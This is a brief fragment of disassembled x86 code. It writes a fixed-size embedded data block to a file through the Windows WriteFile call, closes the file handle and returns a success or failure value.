lea ecx, [ebp - 4]
push ecx
push 0xa600
push 0x522114
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4767ae
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x4767c4
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 8], 0xffffffff
mov eax, 1
mov esp, ebp
pop ebp
ret